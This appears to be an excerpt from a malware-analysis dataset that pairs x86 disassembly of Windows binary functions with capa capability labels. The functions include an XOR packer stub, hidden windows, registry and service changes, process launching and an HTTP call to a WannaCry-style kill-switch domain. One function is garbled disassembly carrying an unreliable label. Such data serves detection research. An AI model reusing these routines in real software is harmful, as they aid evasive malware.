joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4194c3
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x43407c
push 1
push ebx
push 0x43416c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x419594
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 0x43415c
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x41958b
cmp byte [ebp + 8], bl
je 0x419516
mov eax, dword [ebp - 8]
push 2
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x419533
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
push ebx
mov ecx, dword [eax]
cmp dword [ebp + 0x1c], ebx
jne 0x419545
push 0x4322e4
jmp 0x419548
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x41955d
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x41956e
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
push 1
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
test eax, eax
js 0x419582
mov bl, 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x41966b
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8
Function at 0x4196ad
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push esi
push 0x4333bc
push dword [esp + 0x10]
push dword [0x440060]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x4197a3
push ebx
push esi
push dword [0x440060]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x419700
push esi
push dword [0x440060]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x419700
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x419707
xor eax, eax
jmp 0x4197a2
push ebp
push edi
push ebx
xor ebp, ebp
push 2
mov dword [esp + 0x18], ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x41979c
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x419795
push ebx
push esi
push eax
call fcn.0041ea80
add esp, 0xc
mov dword [esp + 0x18], ebp
lea eax, [esp + 0x18]
push eax
push ebp
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x41978e
push ebp
push dword [esp + 0x1c]
call fcn.00419642
mov ecx, dword [esp + 0x18]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
je 0x41978e
mov ecx, dword [esi + 8]
mov dword [esi + 8], ebp
test ecx, ecx
jne 0x419786
push 0xffffff
lea eax, [esp + 0x14]
push eax
push dword [esi + 4]
call sub.gdiplus.dll_GdipCreateHBITMAPFromBitmap
test eax, eax
je 0x419786
mov dword [esi + 8], eax
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
pop ecx
ret 4

Function at 0x419d14
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0041d9c0
cmp word [0x4485fa], 0
je 0x419db0
push esi
push 6
push dword [0x43d5f8]
mov esi, 0x4485fa
push esi
call fcn.0040b9e0
push eax
call fcn.0041145a
test eax, eax
jne 0x419daf
push 0x4475f8
call fcn.00419b00
push 0x800
push esi
lea eax, [ebp - 0x1024]
push eax
call fcn.0040fae7
lea eax, [ebp - 0x1024]
push eax
call fcn.00422b93
xor ecx, ecx
push 0x1e
push ecx
mov word [ebp + eax*2 - 0x1022], cx
lea eax, [ebp - 0x20]
push eax
call fcn.0041e920
add esp, 0x10
mov dword [ebp - 0x1c], 3
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x419e0c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [0x43d610], 0
push ebx
push esi
push edi
mov ebx, 0x400
jne 0x419e57
push 0x64
lea eax, [ebp - 0x12c]
push eax
push 0xf
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ax, word [ebp - 0x12c]
mov word [0x45de30], ax
xor eax, eax
mov word [0x45de32], ax
mov dword [0x43d610], 0x45de30
push 0x32
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f9b6
mov edi, dword [ebp + 0x10]
xor eax, eax
mov esi, dword [ebp + 0x14]
push esi
push edi
push 0x43d600
mov word [edi], ax
lea eax, [ebp - 0x64]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor eax, eax
mov word [edi + esi*2 - 2], ax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x41a06f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041d9c0
cmp byte [0x449600], 0
je 0x41a11d
push 0x800
lea eax, [ebp - 0x200c]
push eax
push dword [ebp + 8]
call fcn.0041b4dd
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41a11d
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1000
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41a114
mov eax, dword [ebp - 4]
mov ecx, 0x7ff
shr eax, 1
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x41a0f8
mov eax, ecx
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x100c], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.0040fae7
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 8
Function at 0x41a1c9
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x2004
call fcn.0041d9c0
mov ecx, dword [esp + 0x2014]
push ebx
xor ebx, ebx
push esi
test ecx, ecx
je 0x41a1e4
mov byte [ecx], bl
mov edx, dword [esp + 0x2020]
test edx, edx
je 0x41a1f1
mov byte [edx], bl
mov esi, dword [esp + 0x2010]
test esi, esi
je 0x41a2b4
movzx eax, word [esi]
test ax, ax
je 0x41a2b4
push ebp
mov ebp, dword [esp + 0x2018]
push edi
mov edi, dword [esp + 0x2020]
mov dword [esp + 0x10], ebx
movzx eax, ax
add esi, 2
cmp eax, 0x3d
jne 0x41a23e
test edi, edi
je 0x41a248
test ebx, ebx
jne 0x41a248
test ecx, ecx
je 0x41a23a
mov byte [ecx], 1
mov ebx, ebp
jmp 0x41a25f
cmp eax, 0xd
je 0x41a272
cmp eax, 0xa
je 0x41a275
mov word [ebp], ax
add ebp, 2
mov eax, dword [esp + 0x202c]
add eax, 0xfffffffe
cmp dword [esp + 0x10], eax
jge 0x41a26d
movzx eax, word [esi]
inc dword [esp + 0x10]
test ax, ax
jne 0x41a220
jmp 0x41a275
mov byte [edx], 1
jmp 0x41a275
add esi, 2
xor eax, eax
mov word [ebp], ax
test edi, edi
je 0x41a2ae
mov word [edi], ax
test ebx, ebx
je 0x41a2ae
push 0x1000
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push dword [esp + 0x202c]
lea eax, [esp + 0x18]
push eax
push edi
call fcn.0040fae7
xor eax, eax
mov word [ebx], ax
pop edi
mov eax, esi
pop ebp
jmp 0x41a2b6
xor eax, eax
pop esi
pop ebx
add esp, 0x2004
ret 0x18

Function at 0x41a2c1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
mov ebx, eax
neg ebx
sbb bl, bl
add bl, 1
je 0x41a310
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 4]
dec eax
neg eax
sbb al, al
lea ebx, [eax + 1]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
jmp 0x41a318
mov eax, dword [ebp + 8]
xor ecx, ecx
mov word [eax], cx
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41c6f6
Capabilities:
Hide graphical window

Disassembly:
and dword [0x4475d0], 0
push 1
push dword [esp + 8]
mov byte [0x4475cd], 1
mov byte [0x4475ce], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 2
push dword [esp + 0xc]
call fcn.00401294
cmp dword [0x4475d8], 0
jne 0x41c736
cmp byte [0x4475f3], 0
je 0x41c73f
cmp dword [0x4475ec], 0
jne 0x41c752
push 0
push 1
push 0x111
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
ret 4

Function at 0x41c852
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0041d9c0
cmp byte [0x449600], 0
je 0x41c8e1
cmp word [0x449602], 0
je 0x41c8e1
push esi
push 0x800
lea eax, [ebp - 0x1008]
push eax
push 0x449602
call fcn.0041b4dd
lea eax, [ebp - 8]
xor esi, esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41c8e0
push dword [ebp + 8]
call fcn.00422b93
pop ecx
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x41c8e7
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0041d9c0
push esi
push dword [ebp + 8]
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push dword [ebp + 8]
call fcn.0040f86b
mov esi, eax
test esi, esi
je 0x41c93f
movzx ecx, word [esi]
push ecx
jmp 0x41c92a
add esi, 2
movzx eax, word [esi]
push eax
call fcn.0040f982
test al, al
jne 0x41c923
push esi
push str.sfxpar
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40a5d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or al, 0xb4
cli
push edx
stc
pop es
outsb dx, byte [esi]
push es
and al, 0x9c
test al, 0xa4
test eax, 0xeb14528b
cmova ebp, esp
push esp
aam 0x9c
fild word [edx + 0x74]
sub eax, 0x3ff5397d
or ch, 0xeb
push cs
mov eax, 0x4c01be30
or dword [ecx - 0x5f], ecx
dec ecx
mov eax, dword [0x7243a747]
invalid
xchg ebx, eax
or al, 0xb4
jl 0x40a52c
arpl word [edi], dx
xchg ebp, eax
test eax, 0x1bca4f7
sub al, 0x38
jg 0x40a5b9
jbe 0x40a599
pop es
adc eax, 0x900dcfc1
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
nop
nop
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x103a4043
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x15492cde
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40606d
Capabilities:
Create thread

Disassembly:
push 0x60c
mov eax, 0x487751
call fcn.0046d731
mov edi, ecx
mov dword [ebp - 0x610], edi
mov dword [ebp - 0x618], edi
call fcn.0042cb2a
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [edi + 0xef0], ebx
mov dword [edi + 0xef4], ebx
mov dword [edi + 0xef8], ebx
mov dword [edi + 0xefc], ebx
mov dword [edi + 0xf00], ebx
mov dword [edi + 0xf04], ebx
mov dword [edi + 0xf08], ebx
lea edx, [edi + 0xf0c]
mov ecx, edx
call fcn.00410aa2
lea ecx, [edx + 0x34]
call fcn.00410aa2
lea ecx, [edx + 0x68]
call fcn.00410aa2
mov dword [edi + 0xfa8], ebx
mov dword [edi + 0xfac], ebx
mov dword [edi + 0xfb0], ebx
mov dword [edi + 0xfb4], ebx
xor edx, edx
push 7
pop ebx
xor eax, eax
mov dword [edi + 0xfcc], ebx
mov dword [edi + 0xfc8], edx
mov word [edi + 0xfb8], ax
lea ecx, [edi + 0xfd0]
call fcn.00410aa2
xor eax, eax
mov dword [edi + 0x1018], ebx
mov dword [edi + 0x1014], edx
mov word [edi + 0x1004], ax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 6
push eax
mov word [edi + 0x101c], dx
mov byte [edi + 0x101e], dl
call fcn.0040be35
mov esi, eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], bl
push eax
call fcn.0040bd1b
mov ecx, dword [ebp + 0xc]
add edi, 0x1020
mov byte [ebp - 4], 8
push eax
mov dword [ebp - 0x614], edi
mov bl, byte [ecx + 0x6c]
mov ecx, edi
call fcn.00404e83
push esi
lea ecx, [edi + 0x18]
mov byte [ebp - 4], 9
call fcn.00404e83
and dword [edi + 0x40], 0
xor eax, eax
push 7
pop ecx
mov dword [edi + 0x44], ecx
mov word [edi + 0x30], ax
and dword [edi + 0x58], eax
test bl, bl
mov dword [edi + 0x5c], ecx
mov word [edi + 0x48], ax
sete al
mov byte [edi + 0x60], al
xor ebx, ebx
lea ecx, [ebp - 0x2c]
push ebx
push 1
call fcn.00405131
push ebx
push 1
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xc
call fcn.00405131
mov edi, dword [ebp - 0x610]
mov ecx, edi
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x1088], eax
mov eax, dword [ebp + 8]
mov dword [edi + 0xf08], eax
lea eax, [ebp - 0x60c]
push eax
mov dword [edi + 0x1084], ebx
mov dword [edi + 0x108c], ebx
mov byte [edi + 0x1090], bl
call fcn.00406449
push edi
mov byte [ebp - 4], 0xd
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x60c]
push eax
lea ecx, [edi + 0xf0]
call fcn.0042cdca
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [edi + 0x1088]
cmp byte [eax + 0x6d], bl
je 0x40626d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.aaa
push 0x4c1748
call esi
push str.sID_eID_bID_1
push 0x4c2150
call esi
push ebx
push ebx
push ebx
push 0x40d2d0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push ebx
push str.Running
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
lea ecx, [ebp - 0x60c]
call fcn.004062b6
mov eax, edi
call fcn.0046d6e0
ret 8
Function at 0x407d66
Capabilities:
Create process on windows

Disassembly:
push 0x410
mov eax, 0x487de0
call fcn.0046d79d
mov edi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], eax
lea eax, [ebp - 0x40c]
push eax
mov dword [ebp - 0x410], edi
call fcn.0042cd25
xor esi, esi
xor eax, eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
mov edx, 0x272d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf0]
call fcn.00410941
mov edx, eax
lea ecx, [ebp - 0x2fc]
call fcn.00411d0f
lea ecx, [ebp - 0xf0]
mov bl, al
call fcn.00410d9a
test bl, bl
je 0x407e09
mov ecx, dword [edi + 0xfb4]
test ecx, ecx
je 0x407df6
push dword [edi + 0x108c]
push esi
push esi
call fcn.00439fc2
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x248]
mov byte [edi + 0x101d], 1
push eax
jmp 0x407e40
push 1
push esi
push esi
lea ebx, [edi + 0xfb8]
mov byte [ebp - 4], 2
push ebx
lea eax, [edi + 0xfe8]
mov ecx, edi
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.0040b9b0
push esi
push 1
lea ecx, [ebp - 0x44]
call fcn.00405131
lea eax, [ebp - 0x2c]
cmp eax, ebx
je 0x407e48
push 0xffffffffffffffff
push esi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0040509e
cmp byte [edi + 0x101d], 0
je 0x407e6d
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 1
cmovae eax, dword [ebp - 0x2c]
push esi
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
push 2
push 0x111
push dword [ebp - 0x418]
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
jmp 0x407fb3
push 1
lea ecx, [ebp - 0x2c]
call fcn.00405131
lea ecx, [ebp - 0x40c]
call fcn.0040420a
call fcn.0046d6ef
ret 4
Function at 0x40bfe9
Capabilities:
Write file on windows

Disassembly:
push 0x8c
mov eax, 0x488986
call fcn.0046d731
mov dword [ebp - 4], 1
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
cmovae eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edx, 0x272a
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00410941
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.00404e5d
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 4
call fcn.00410d9a
mov edi, str._nURL_
push edi
call fcn.00402bda
pop ecx
push eax
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040e0f6
push ecx
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x94]
call fcn.00410b48
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.0040e050
lea ecx, [ebp - 0x94]
call fcn.00410d9a
mov dword [ebp - 0x98], ebx
test esi, esi
je 0x40c0b3
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x98]
push ebx
push ecx
push dword [ebp - 0x1c]
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00403790
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.00405131
push ebx
push 1
lea ecx, [ebp + 0x20]
call fcn.00405131
call fcn.0046d6e0
ret
Function at 0x40c605
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x488a9a
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x4ba760]
xor eax, esp
mov dword [esp + 0x80], eax
push ebx
push esi
push edi
mov eax, dword [0x4ba760]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40c7b7
lea eax, [esp + 0x10]
push eax
push 0x49f05c
push 1
push ebx
push 0x49f34c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40c7b7
cmp dword [esi + 0x14], 8
jb 0x40c685
mov ecx, dword [esi]
jmp 0x40c687
mov ecx, esi
mov eax, dword [esp + 0x10]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x50]
push esi
mov ecx, edi
call fcn.0040c7e3
test al, al
je 0x40c6b5
lea edx, [esi + 0x48]
cmp dword [edx + 0x14], 8
jb 0x40c6a9
mov edx, dword [edx]
mov eax, dword [esp + 0x10]
push ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x49f39c
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x40c7ad
push str.DESKTOP
lea ecx, [esp + 0x1c]
call fcn.00404eab
lea edx, [esp + 0x18]
mov dword [esp + 0xa0], ebx
lea ecx, [esp + 0x78]
call fcn.004320dc
push 0x4a2524
mov edx, eax
mov byte [esp + 0xa4], 1
lea ecx, [esp + 0x4c]
call fcn.00405703
pop ecx
lea ecx, [esi + 0x30]
mov byte [esp + 0xa0], 2
push ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.0040eaa7
mov byte [esp + 0xa4], 3
lea ecx, [esp + 0x34]
mov edx, eax
mov dword [esp], 0x4a2e78
call fcn.0040eacf
pop ecx
mov edx, eax
mov byte [esp + 0xa0], 4
cmp dword [edx + 0x14], 8
jb 0x40c74f
mov edx, dword [edx]
mov eax, dword [esp + 0x14]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
push ebx
push 1
lea ecx, [esp + 0x38]
call fcn.00405131
push ebx
push 1
lea ecx, [esp + 0x68]
call fcn.00405131
push ebx
push 1
lea ecx, [esp + 0x50]
call fcn.00405131
push ebx
push 1
lea ecx, [esp + 0x80]
call fcn.00405131
or dword [esp + 0xa0], 0xffffffff
lea ecx, [esp + 0x18]
push ebx
push 1
call fcn.00405131
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x80]
xor ecx, esp
call fcn.0046933f
mov esp, ebp
pop ebp
ret 4
Function at 0x40fc6e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4ba760]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x38]
push eax
call fcn.0040fa56
add eax, 0x18
cmp dword [eax + 0x14], 8
jb 0x40fc93
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [ebp - 0x38]
mov ebx, eax
call fcn.00410d9a
cmp ebx, 0xffffffff
je 0x40fcb3
test bl, 0x10
jne 0x40fcb3
xor eax, eax
inc eax
jmp 0x40fcb5
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0046933f
mov esp, ebp
pop ebp
ret

Function at 0x40fcc4
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4ba760]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x38]
push eax
call fcn.0040fa56
add eax, 0x18
cmp dword [eax + 0x14], 8
jb 0x40fce9
mov eax, dword [eax]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
lea ecx, [ebp - 0x38]
mov esi, eax
call fcn.00410d9a
test esi, esi
je 0x40fd13
cmp esi, 0xb7
je 0x40fd13
cmp esi, 0x50
je 0x40fd13
xor al, al
jmp 0x40fd15
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0046933f
mov esp, ebp
pop ebp
ret